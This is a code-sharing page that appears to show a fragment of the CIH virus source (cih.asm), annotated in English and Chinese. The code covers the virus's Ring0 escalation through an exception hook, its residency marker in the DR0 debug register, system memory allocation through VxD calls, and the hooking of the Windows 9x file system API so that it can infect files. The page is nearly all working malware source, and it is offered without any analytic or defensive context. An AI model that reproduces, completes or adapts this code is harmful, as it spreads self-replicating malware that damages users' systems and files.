📄 cih.asm
字号:
; *************************************
; * Return Original App to Execute *
; *************************************
pop ebp
push 00401000h ; Push Original
OriginalAddressOfEntryPoint = $-4 ; App Entry Point to Stack
;把原程序的开始地址压栈
ret ; Return to Original App Entry Point ;以子程序返回形式返回到原程序的开始处
; *********************************************************
; * Ring0 Virus Game Initial Program *
; *********************************************************
MyExceptionHook:
@2 = MyExceptionHook
jz InstallMyFileSystemApiHook ;如果病毒代码已拷贝好了
;转到安装文件系统钩子的程序
; *************************************
; * Do My Virus Exist in System !? *
; *************************************
mov ecx, dr0 ;察看dr0是否设置过(dr0为病毒驻留标志)
jecxz AllocateSystemMemoryPage ;没有设置,则分配系统内存
add dword ptr [esp], ReadyRestoreSE-ReturnAddressOfEndException
; *************************************
; * Return to Ring3 Initial Program *
; *************************************
ExitRing0Init:
mov [ebx-04h], bp ;
shr ebp, 16 ; Restore Exception
mov [ebx+02h], bp ; ;恢复原来的中断基址
iretd ;中断返回
; *************************************
; * Allocate SystemMemory Page to Use *
; *************************************
AllocateSystemMemoryPage:
mov dr0, ebx ; Set the Mark of My Virus Exist in System
;设置dr0,它是病毒驻留的标志
push 00000000fh ;
push ecx ;
push 0ffffffffh ;
push ecx ;调用方法ULONG EXTERN _PageAllocate(ULONG nPages, ULONG pType, ULONG VM,
;ULONG AlignMask, ULONG minPhys, ULONG maxPhys, ULONG *PhysAddr,
;ULONG flags);
push ecx ;
push ecx ;
push 000000001h ;
push 000000002h ;
int 20h ; VMMCALL _PageAllocate;VXD调用
_PageAllocate = $ ;
dd 00010053h ; Use EAX, ECX, EDX, and flags
add esp, 08h*04h ;恢复栈指针
xchg edi, eax ; EDI = SystemMemory Start Address
; EDI指向分配好的系统内存首址
lea eax, MyVirusStart-@2[esi] ;eax指向病毒开始处
iretd ; Return to Ring3 Initial Program ;退出中断,回3级(回到"Merge All Virus Code Section")
; *************************************
; * Install My File System Api Hook *
; *************************************
InstallMyFileSystemApiHook:
lea eax, FileSystemApiHook-@6[edi] ;指向文件系统钩子程序首址
push eax ;
int 20h ; VXDCALL IFSMgr_InstallFileSystemApiHook
IFSMgr_InstallFileSystemApiHook = $ ;
dd 00400067h ; Use EAX, ECX, EDX, and flags
;在调用后变为call [IFSMgr_InstallFileSystemApiHook]
mov dr0, eax ; Save OldFileSystemApiHook Address
;保存原来的文件系统钩子程序首址到dr0(改调用的返回值是前一个链值)
pop eax ; EAX = FileSystemApiHook Address
; Save Old IFSMgr_InstallFileSystemApiHook Entry Point
mov ecx, IFSMgr_InstallFileSystemApiHook-@2[esi]
mov edx, [ecx] ;edx为IFSMgr_InstallFileSystemApiHook功能的地址
mov OldInstallFileSystemApiHook-@3[eax], edx ;保存
; Modify IFSMgr_InstallFileSystemApiHook Entry Point
lea eax, InstallFileSystemApiHook-@3[eax]
mov [ecx], eax ;设置新的IFSMgr_InstallFileSystemApiHook功能调用的地址
;使指向InstallFileSystemApiHook
cli
jmp ExitRing0Init ;退出0级(int 3 or int 5)
; *********************************************************
; * Code Size of Merge Virus Code Section *
; *********************************************************
CodeSizeOfMergeVirusCodeSection = offset $
; *********************************************************
; * IFSMgr_InstallFileSystemApiHook *
; *********************************************************
InstallFileSystemApiHook: ;新的IFSMgr_InstallFileSystemApiHook功能调用
push ebx
call @4 ;
@4: ;
pop ebx ; mov ebx, offset FileSystemApiHook ;获得当前指令的偏移地址
add ebx, FileSystemApiHook-@4 ;加上偏移的差=FileSystemApiHook的偏移
push ebx
int 20h ; VXDCALL IFSMgr_RemoveFileSystemApiHook ;调用VXD移去指向FileSystemApiHook的钩子
IFSMgr_RemoveFileSystemApiHook = $
dd 00400068h ; Use EAX, ECX, EDX, and flags ;调用号
pop eax
; Call Original IFSMgr_InstallFileSystemApiHook
; to Link Client FileSystemApiHook
push dword ptr [esp+8]
call OldInstallFileSystemApiHook-@3[ebx] ;调用原来的IFSMgr_InstallFileSystemApiHook功能设置钩子
pop ecx
push eax
; Call Original IFSMgr_InstallFileSystemApiHook
; to Link My FileSystemApiHook
push ebx
call OldInstallFileSystemApiHook-@3[ebx] ;调用原来的IFSMgr_InstallFileSystemApiHook功能设置钩子
pop ecx
mov dr0, eax ; Adjust OldFileSystemApiHook Address ;调整原来的地址
pop eax
pop ebx
ret
; *********************************************************
; * Static Data *
; *********************************************************
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -